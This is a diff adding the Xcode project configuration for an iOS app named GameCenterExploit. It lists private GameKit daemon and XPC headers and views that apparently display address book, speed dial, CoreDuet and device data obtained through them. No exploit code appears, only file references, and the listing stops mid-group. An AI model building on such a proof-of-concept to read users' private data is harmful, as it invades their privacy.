
@ -0,0 +1,600 @@
|
||||
// !$*UTF8*$! |
||||
{ |
||||
archiveVersion = 1; |
||||
classes = { |
||||
}; |
||||
objectVersion = 52; |
||||
objects = { |
||||
|
||||
/* Begin PBXBuildFile section */ |
||||
DF13AA7525F19E0100A7A7B7 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13AA7425F19E0100A7A7B7 /* AppDelegate.swift */; }; |
||||
DF13AA7725F19E0100A7A7B7 /* SceneDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13AA7625F19E0100A7A7B7 /* SceneDelegate.swift */; }; |
||||
DF13AA7E25F19E0300A7A7B7 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = DF13AA7D25F19E0300A7A7B7 /* Assets.xcassets */; }; |
||||
DF13AA8125F19E0300A7A7B7 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = DF13AA7F25F19E0300A7A7B7 /* LaunchScreen.storyboard */; }; |
||||
DF13AB2B25F5456700A7A7B7 /* GKClientProtocolInterface.m in Sources */ = {isa = PBXBuildFile; fileRef = DF13AB2A25F5456600A7A7B7 /* GKClientProtocolInterface.m */; }; |
||||
DF13AB2F25F5696F00A7A7B7 /* GameCenter.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13AB2E25F5696F00A7A7B7 /* GameCenter.swift */; }; |
||||
DF13ABB225F7A5B500A7A7B7 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABB125F7A5B400A7A7B7 /* ContentView.swift */; }; |
||||
DF13ABB625F7AC9600A7A7B7 /* MobileGestaltView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABB525F7AC9600A7A7B7 /* MobileGestaltView.swift */; }; |
||||
DF13ABB925F7ACDF00A7A7B7 /* CoreDuetView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABB825F7ACDF00A7A7B7 /* CoreDuetView.swift */; }; |
||||
DF13ABBC25F7ACE900A7A7B7 /* SpeedDialView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABBB25F7ACE900A7A7B7 /* SpeedDialView.swift */; }; |
||||
DF13ABBF25F7ACF200A7A7B7 /* AddressBookView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABBE25F7ACF200A7A7B7 /* AddressBookView.swift */; }; |
||||
DF13ABC225F7AD0200A7A7B7 /* AddressBookImagesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABC125F7AD0200A7A7B7 /* AddressBookImagesView.swift */; }; |
||||
DF13ABC525F7C57100A7A7B7 /* DuetContactsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABC425F7C57100A7A7B7 /* DuetContactsView.swift */; }; |
||||
DF13ABC825F7C59400A7A7B7 /* DuetInteractionsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABC725F7C59400A7A7B7 /* DuetInteractionsView.swift */; }; |
||||
DF13ABCB25F7C59E00A7A7B7 /* DuetAttachmentsView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABCA25F7C59E00A7A7B7 /* DuetAttachmentsView.swift */; }; |
||||
DF13ABCE25F7C72400A7A7B7 /* DuetContactView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABCD25F7C72400A7A7B7 /* DuetContactView.swift */; }; |
||||
DF13ABD125F7E09800A7A7B7 /* DuetInteractionView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABD025F7E09800A7A7B7 /* DuetInteractionView.swift */; }; |
||||
DF13ABD425F8068700A7A7B7 /* AddressBookContactView.swift in Sources */ = {isa = PBXBuildFile; fileRef = DF13ABD325F8068700A7A7B7 /* AddressBookContactView.swift */; }; |
||||
DFCDD4E725F83768002ED9C2 /* GRDB in Frameworks */ = {isa = PBXBuildFile; productRef = DFCDD4E625F83768002ED9C2 /* GRDB */; }; |
||||
DFCDD4EB25F83789002ED9C2 /* Dynamic in Frameworks */ = {isa = PBXBuildFile; productRef = DFCDD4EA25F83789002ED9C2 /* Dynamic */; }; |
||||
/* End PBXBuildFile section */ |
||||
|
||||
/* Begin PBXFileReference section */ |
||||
DF13AA7125F19E0100A7A7B7 /* GameCenterExploit.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = GameCenterExploit.app; sourceTree = BUILT_PRODUCTS_DIR; }; |
||||
DF13AA7425F19E0100A7A7B7 /* AppDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppDelegate.swift; sourceTree = "<group>"; }; |
||||
DF13AA7625F19E0100A7A7B7 /* SceneDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SceneDelegate.swift; sourceTree = "<group>"; }; |
||||
DF13AA7D25F19E0300A7A7B7 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = "<group>"; }; |
||||
DF13AA8025F19E0300A7A7B7 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = "<group>"; }; |
||||
DF13AA8225F19E0300A7A7B7 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; }; |
||||
DF13AAC525F40E3300A7A7B7 /* GKDaemonProtocol.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProtocol.h; sourceTree = "<group>"; }; |
||||
DF13AACB25F44C9A00A7A7B7 /* GameCenterExploit-Bridging-Header.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "GameCenterExploit-Bridging-Header.h"; sourceTree = "<group>"; }; |
||||
DF13AACC25F44C9B00A7A7B7 /* GKClientProtocol.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKClientProtocol.h; sourceTree = "<group>"; }; |
||||
DF13AAD225F4FB4900A7A7B7 /* GKAuthenticateResponse.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAuthenticateResponse.h; sourceTree = "<group>"; }; |
||||
DF13AAD425F4FBE700A7A7B7 /* GKInternalRepresentation.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKInternalRepresentation.h; sourceTree = "<group>"; }; |
||||
DF13AAD625F4FC2800A7A7B7 /* GKPlayerCredential.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKPlayerCredential.h; sourceTree = "<group>"; }; |
||||
DF13AAD725F4FC5F00A7A7B7 /* GKPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKPlayerInternal.h; sourceTree = "<group>"; }; |
||||
DF13AAD925F4FE4800A7A7B7 /* GKGameInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameInternal.h; sourceTree = "<group>"; }; |
||||
DF13AADA25F4FEAD00A7A7B7 /* GKGameDescriptor.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameDescriptor.h; sourceTree = "<group>"; }; |
||||
DF13AADC25F4FF1100A7A7B7 /* GKStoreItemInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKStoreItemInternal.h; sourceTree = "<group>"; }; |
||||
DF13AADF25F5043D00A7A7B7 /* GKAccountService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAccountService.h; sourceTree = "<group>"; }; |
||||
DF13AAE025F5048100A7A7B7 /* GKAccountServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAccountServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAE125F504F300A7A7B7 /* GKAnalyticsService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAnalyticsService.h; sourceTree = "<group>"; }; |
||||
DF13AAE225F504F800A7A7B7 /* GKAnalyticsServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAnalyticsServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAE325F5052600A7A7B7 /* GKBulletinService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKBulletinService.h; sourceTree = "<group>"; }; |
||||
DF13AAE425F5052D00A7A7B7 /* GKBulletinServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKBulletinServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAE525F5056300A7A7B7 /* GKChallengeService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKChallengeService.h; sourceTree = "<group>"; }; |
||||
DF13AAE625F5056A00A7A7B7 /* GKChallengeServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKChallengeServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAE925F506BC00A7A7B7 /* GKTournamentServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAEA25F506BC00A7A7B7 /* GKMultiplayerServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMultiplayerServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAEB25F506BC00A7A7B7 /* GKTurnBasedService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTurnBasedService.h; sourceTree = "<group>"; }; |
||||
DF13AAEC25F506BC00A7A7B7 /* GKGameSessionServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameSessionServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAED25F506BC00A7A7B7 /* GKProfileService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKProfileService.h; sourceTree = "<group>"; }; |
||||
DF13AAEE25F506BC00A7A7B7 /* GKGameStatService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameStatService.h; sourceTree = "<group>"; }; |
||||
DF13AAEF25F506BC00A7A7B7 /* GKFriendService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendService.h; sourceTree = "<group>"; }; |
||||
DF13AAF025F506BC00A7A7B7 /* GKGameServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAF125F506BC00A7A7B7 /* GKTurnBasedServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTurnBasedServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAF225F506BC00A7A7B7 /* GKFriendServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAF325F506BC00A7A7B7 /* GKGameStatServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameStatServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAF425F506BC00A7A7B7 /* GKMultiplayerService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMultiplayerService.h; sourceTree = "<group>"; }; |
||||
DF13AAF525F506BD00A7A7B7 /* GKProfileServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKProfileServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAF625F506BD00A7A7B7 /* CKXPCShareDaemon.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CKXPCShareDaemon.h; sourceTree = "<group>"; }; |
||||
DF13AAF725F506BD00A7A7B7 /* GKGameSessionService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameSessionService.h; sourceTree = "<group>"; }; |
||||
DF13AAF825F506BD00A7A7B7 /* GKGameService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKGameService.h; sourceTree = "<group>"; }; |
||||
DF13AAF925F506BD00A7A7B7 /* GKTournamentService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentService.h; sourceTree = "<group>"; }; |
||||
DF13AAFA25F506BD00A7A7B7 /* GKUtilityServicePrivate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKUtilityServicePrivate.h; sourceTree = "<group>"; }; |
||||
DF13AAFB25F506BD00A7A7B7 /* GKUtilityService.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKUtilityService.h; sourceTree = "<group>"; }; |
||||
DF13AAFD25F509D200A7A7B7 /* GKTournamentParticipantRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentParticipantRequestInternal.h; sourceTree = "<group>"; }; |
||||
DF13AAFE25F509D200A7A7B7 /* GKLeaderboardSummaryInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardSummaryInternal.h; sourceTree = "<group>"; }; |
||||
DF13AAFF25F509D200A7A7B7 /* GKCustomTournamentRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKCustomTournamentRequestInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0025F509D200A7A7B7 /* GKTournamentInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0125F509D200A7A7B7 /* GKInviteInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKInviteInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0225F509D200A7A7B7 /* GKScoreInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKScoreInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0325F509D200A7A7B7 /* GKLeaderboardEntryInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardEntryInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0425F509D200A7A7B7 /* GKMatchResponse.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMatchResponse.h; sourceTree = "<group>"; }; |
||||
DF13AB0525F509D200A7A7B7 /* GKMatchRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKMatchRequestInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0625F509D300A7A7B7 /* GKChallengeInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKChallengeInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0725F509D300A7A7B7 /* GKConcernInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKConcernInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0825F509D300A7A7B7 /* GKTournamentDefinitionInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentDefinitionInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0925F509D300A7A7B7 /* GKTurnBasedMatchInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTurnBasedMatchInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0A25F509D300A7A7B7 /* GKAchievementInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKAchievementInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0B25F509D400A7A7B7 /* GKLeaderboardInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0C25F509D400A7A7B7 /* GKLeaderboardScoreRequest.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLeaderboardScoreRequest.h; sourceTree = "<group>"; }; |
||||
DF13AB0D25F509D400A7A7B7 /* GKTournamentParticipantHistoricalDataInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentParticipantHistoricalDataInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB0E25F509D400A7A7B7 /* GKTournamentParticipantInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKTournamentParticipantInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB1025F50BCF00A7A7B7 /* GKRecurrenceRule.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKRecurrenceRule.h; sourceTree = "<group>"; }; |
||||
DF13AB1125F50BCF00A7A7B7 /* GKDispatchGroup.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDispatchGroup.h; sourceTree = "<group>"; }; |
||||
DF13AB1225F50C1800A7A7B7 /* GKThreadsafeDictionary.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKThreadsafeDictionary.h; sourceTree = "<group>"; }; |
||||
DF13AB1325F50C1800A7A7B7 /* GKActivity.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKActivity.h; sourceTree = "<group>"; }; |
||||
DF13AB1525F5113A00A7A7B7 /* GKFriendRequestInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendRequestInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB1625F5116100A7A7B7 /* GKFamiliarPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFamiliarPlayerInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB1825F514DA00A7A7B7 /* GKDaemonInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonInterface.h; sourceTree = "<group>"; }; |
||||
DF13AB1925F514DA00A7A7B7 /* GKDaemonProxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProxy.h; sourceTree = "<group>"; }; |
||||
DF13AB1A25F514DA00A7A7B7 /* GKServiceProxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKServiceProxy.h; sourceTree = "<group>"; }; |
||||
DF13AB1B25F514DA00A7A7B7 /* GKServiceInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKServiceInterface.h; sourceTree = "<group>"; }; |
||||
DF13AB1D25F5185300A7A7B7 /* NSXPCConnectionDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSXPCConnectionDelegate.h; sourceTree = "<group>"; }; |
||||
DF13AB1F25F5188500A7A7B7 /* GKDaemonProxyDataUpdateDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProxyDataUpdateDelegate.h; sourceTree = "<group>"; }; |
||||
DF13AB2025F5188500A7A7B7 /* GKDaemonProxyNetworkActivityIndicatorDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKDaemonProxyNetworkActivityIndicatorDelegate.h; sourceTree = "<group>"; }; |
||||
DF13AB2225F53A3F00A7A7B7 /* NSXPCConnection.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSXPCConnection.h; sourceTree = "<group>"; }; |
||||
DF13AB2425F53F9200A7A7B7 /* GKClientInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKClientInterface.h; sourceTree = "<group>"; }; |
||||
DF13AB2625F5436A00A7A7B7 /* GKLocalPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKLocalPlayerInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB2725F5438300A7A7B7 /* GKFriendPlayerInternal.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKFriendPlayerInternal.h; sourceTree = "<group>"; }; |
||||
DF13AB2925F5456600A7A7B7 /* GKClientProtocolInterface.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = GKClientProtocolInterface.h; sourceTree = "<group>"; }; |
||||
DF13AB2A25F5456600A7A7B7 /* GKClientProtocolInterface.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = GKClientProtocolInterface.m; sourceTree = "<group>"; }; |
||||
DF13AB2E25F5696F00A7A7B7 /* GameCenter.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GameCenter.swift; sourceTree = "<group>"; }; |
||||
DF13ABB125F7A5B400A7A7B7 /* ContentView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = ContentView.swift; sourceTree = "<group>"; }; |
||||
DF13ABB525F7AC9600A7A7B7 /* MobileGestaltView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MobileGestaltView.swift; sourceTree = "<group>"; }; |
||||
DF13ABB825F7ACDF00A7A7B7 /* CoreDuetView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CoreDuetView.swift; sourceTree = "<group>"; }; |
||||
DF13ABBB25F7ACE900A7A7B7 /* SpeedDialView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SpeedDialView.swift; sourceTree = "<group>"; }; |
||||
DF13ABBE25F7ACF200A7A7B7 /* AddressBookView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddressBookView.swift; sourceTree = "<group>"; }; |
||||
DF13ABC125F7AD0200A7A7B7 /* AddressBookImagesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddressBookImagesView.swift; sourceTree = "<group>"; }; |
||||
DF13ABC425F7C57100A7A7B7 /* DuetContactsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetContactsView.swift; sourceTree = "<group>"; }; |
||||
DF13ABC725F7C59400A7A7B7 /* DuetInteractionsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetInteractionsView.swift; sourceTree = "<group>"; }; |
||||
DF13ABCA25F7C59E00A7A7B7 /* DuetAttachmentsView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetAttachmentsView.swift; sourceTree = "<group>"; }; |
||||
DF13ABCD25F7C72400A7A7B7 /* DuetContactView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetContactView.swift; sourceTree = "<group>"; }; |
||||
DF13ABD025F7E09800A7A7B7 /* DuetInteractionView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = DuetInteractionView.swift; sourceTree = "<group>"; }; |
||||
DF13ABD325F8068700A7A7B7 /* AddressBookContactView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AddressBookContactView.swift; sourceTree = "<group>"; }; |
||||
/* End PBXFileReference section */ |
||||
|
||||
/* Begin PBXFrameworksBuildPhase section */ |
||||
DF13AA6E25F19E0100A7A7B7 /* Frameworks */ = { |
||||
isa = PBXFrameworksBuildPhase; |
||||
buildActionMask = 2147483647; |
||||
files = ( |
||||
DFCDD4EB25F83789002ED9C2 /* Dynamic in Frameworks */, |
||||
DFCDD4E725F83768002ED9C2 /* GRDB in Frameworks */, |
||||
); |
||||
runOnlyForDeploymentPostprocessing = 0; |
||||
}; |
||||
/* End PBXFrameworksBuildPhase section */ |
||||
|
||||
/* Begin PBXGroup section */ |
||||
DF13AA6825F19E0000A7A7B7 = { |
||||
isa = PBXGroup; |
||||
children = ( |
||||
DF13AA7325F19E0100A7A7B7 /* GameCenterExploit */, |
||||
DF13AA7225F19E0100A7A7B7 /* Products */, |
||||
); |
||||
sourceTree = "<group>"; |
||||
}; |
||||
DF13AA7225F19E0100A7A7B7 /* Products */ = { |
||||
isa = PBXGroup; |
||||
children = ( |
||||
DF13AA7125F19E0100A7A7B7 /* GameCenterExploit.app */, |
||||
); |
||||
name = Products; |
||||
sourceTree = "<group>"; |
||||
}; |
||||
DF13AA7325F19E0100A7A7B7 /* GameCenterExploit */ = { |
||||
isa = PBXGroup; |
||||
children = ( |
||||
DF13AA7425F19E0100A7A7B7 /* AppDelegate.swift */, |
||||
DF13AA7625F19E0100A7A7B7 /* SceneDelegate.swift */, |
||||
DF13ABDC25F8229800A7A7B7 /* Views */, |
||||
DF13AB2E25F5696F00A7A7B7 /* GameCenter.swift */, |
||||
DF13AAE725F5067000A7A7B7 /* Headers */, |
||||
DF13AA7D25F19E0300A7A7B7 /* Assets.xcassets */, |
||||
DF13AA7F25F19E0300A7A7B7 /* LaunchScreen.storyboard */, |
||||
DF13AA8225F19E0300A7A7B7 /* Info.plist */, |
||||
DF13AACB25F44C9A00A7A7B7 /* GameCenterExploit-Bridging-Header.h */, |
||||
); |
||||
path = GameCenterExploit; |
||||
sourceTree = "<group>"; |
||||
}; |
||||
DF13AAE725F5067000A7A7B7 /* Headers */ = { |
||||
isa = PBXGroup; |
||||
children = ( |
||||
DF13AB1D25F5185300A7A7B7 /* NSXPCConnectionDelegate.h */, |
||||
DF13AB2225F53A3F00A7A7B7 /* NSXPCConnection.h */, |
||||
DF13AAC525F40E3300A7A7B7 /* GKDaemonProtocol.h */, |
||||
DF13AAD225F4FB4900A7A7B7 /* GKAuthenticateResponse.h */, |
||||
DF13AAD625F4FC2800A7A7B7 /* GKPlayerCredential.h */, |
||||
DF13AAD725F4FC5F00A7A7B7 /* GKPlayerInternal.h */, |
||||
DF13AAD425F4FBE700A7A7B7 /* GKInternalRepresentation.h */, |
||||
DF13AACC25F44C9B00A7A7B7 /* GKClientProtocol.h */, |
||||
DF13AB2925F5456600A7A7B7 /* GKClientProtocolInterface.h */, |
||||
DF13AB2A25F5456600A7A7B7 /* GKClientProtocolInterface.m */, |
||||
DF13AAD925F4FE4800A7A7B7 /* GKGameInternal.h */, |
||||
DF13AADC25F4FF1100A7A7B7 /* GKStoreItemInternal.h */, |
||||
DF13AADA25F4FEAD00A7A7B7 /* GKGameDescriptor.h */, |
||||
DF13AADF25F5043D00A7A7B7 /* GKAccountService.h */, |
||||
DF13AAE025F5048100A7A7B7 /* GKAccountServicePrivate.h */, |
||||
DF13AAE125F504F300A7A7B7 /* GKAnalyticsService.h */, |
||||
DF13AAE225F504F800A7A7B7 /* GKAnalyticsServicePrivate.h */, |
||||
DF13AAE325F5052600A7A7B7 /* GKBulletinService.h */, |
||||
DF13AAE425F5052D00A7A7B7 /* GKBulletinServicePrivate.h */, |
||||
DF13AAE525F5056300A7A7B7 /* GKChallengeService.h */, |
||||
DF13AAE625F5056A00A7A7B7 /* GKChallengeServicePrivate.h */, |
||||
DF13AAF625F506BD00A7A7B7 /* CKXPCShareDaemon.h */, |
||||
DF13AAEF25F506BC00A7A7B7 /* GKFriendService.h */, |
||||
DF13AAF225F506BC00A7A7B7 /* GKFriendServicePrivate.h */, |
||||
DF13AAF825F506BD00A7A7B7 /* GKGameService.h */, |
||||
DF13AAF025F506BC00A7A7B7 /* GKGameServicePrivate.h */, |
||||
DF13AAF725F506BD00A7A7B7 /* GKGameSessionService.h */, |
||||
DF13AAEC25F506BC00A7A7B7 /* GKGameSessionServicePrivate.h */, |
||||
DF13AAEE25F506BC00A7A7B7 /* GKGameStatService.h */, |
||||
DF13AAF325F506BC00A7A7B7 /* GKGameStatServicePrivate.h */, |
||||
DF13AAF425F506BC00A7A7B7 /* GKMultiplayerService.h */, |
||||
DF13AAEA25F506BC00A7A7B7 /* GKMultiplayerServicePrivate.h */, |
||||
DF13AAED25F506BC00A7A7B7 /* GKProfileService.h */, |
||||
DF13AAF525F506BD00A7A7B7 /* GKProfileServicePrivate.h */, |
||||
DF13AAF925F506BD00A7A7B7 /* GKTournamentService.h */, |
||||
DF13AAE925F506BC00A7A7B7 /* GKTournamentServicePrivate.h */, |
||||
DF13AAEB25F506BC00A7A7B7 /* GKTurnBasedService.h */, |
||||
DF13AAF125F506BC00A7A7B7 /* GKTurnBasedServicePrivate.h */, |
||||
DF13AAFB25F506BD00A7A7B7 /* GKUtilityService.h */, |
||||
DF13AAFA25F506BD00A7A7B7 /* GKUtilityServicePrivate.h */, |
||||
DF13AB0A25F509D300A7A7B7 /* GKAchievementInternal.h */, |
||||
DF13AB0625F509D300A7A7B7 /* GKChallengeInternal.h */, |
||||
DF13AB0725F509D300A7A7B7 /* GKConcernInternal.h */, |
||||
DF13AAFF25F509D200A7A7B7 /* GKCustomTournamentRequestInternal.h */, |
||||
DF13AB0125F509D200A7A7B7 /* GKInviteInternal.h */, |
||||
DF13AB0325F509D200A7A7B7 /* GKLeaderboardEntryInternal.h */, |
||||
DF13AB0B25F509D400A7A7B7 /* GKLeaderboardInternal.h */, |
||||
DF13AB0C25F509D400A7A7B7 /* GKLeaderboardScoreRequest.h */, |
||||
DF13AAFE25F509D200A7A7B7 /* GKLeaderboardSummaryInternal.h */, |
||||
DF13AB0525F509D200A7A7B7 /* GKMatchRequestInternal.h */, |
||||
DF13AB0425F509D200A7A7B7 /* GKMatchResponse.h */, |
||||
DF13AB0225F509D200A7A7B7 /* GKScoreInternal.h */, |
||||
DF13AB0825F509D300A7A7B7 /* GKTournamentDefinitionInternal.h */, |
||||
DF13AB0025F509D200A7A7B7 /* GKTournamentInternal.h */, |
||||
DF13AB0D25F509D400A7A7B7 /* GKTournamentParticipantHistoricalDataInternal.h */, |
||||
DF13AB0E25F509D400A7A7B7 /* GKTournamentParticipantInternal.h */, |
||||
DF13AAFD25F509D200A7A7B7 /* GKTournamentParticipantRequestInternal.h */, |
||||
DF13AB0925F509D300A7A7B7 /* GKTurnBasedMatchInternal.h */, |
||||
DF13AB1125F50BCF00A7A7B7 /* GKDispatchGroup.h */, |
||||
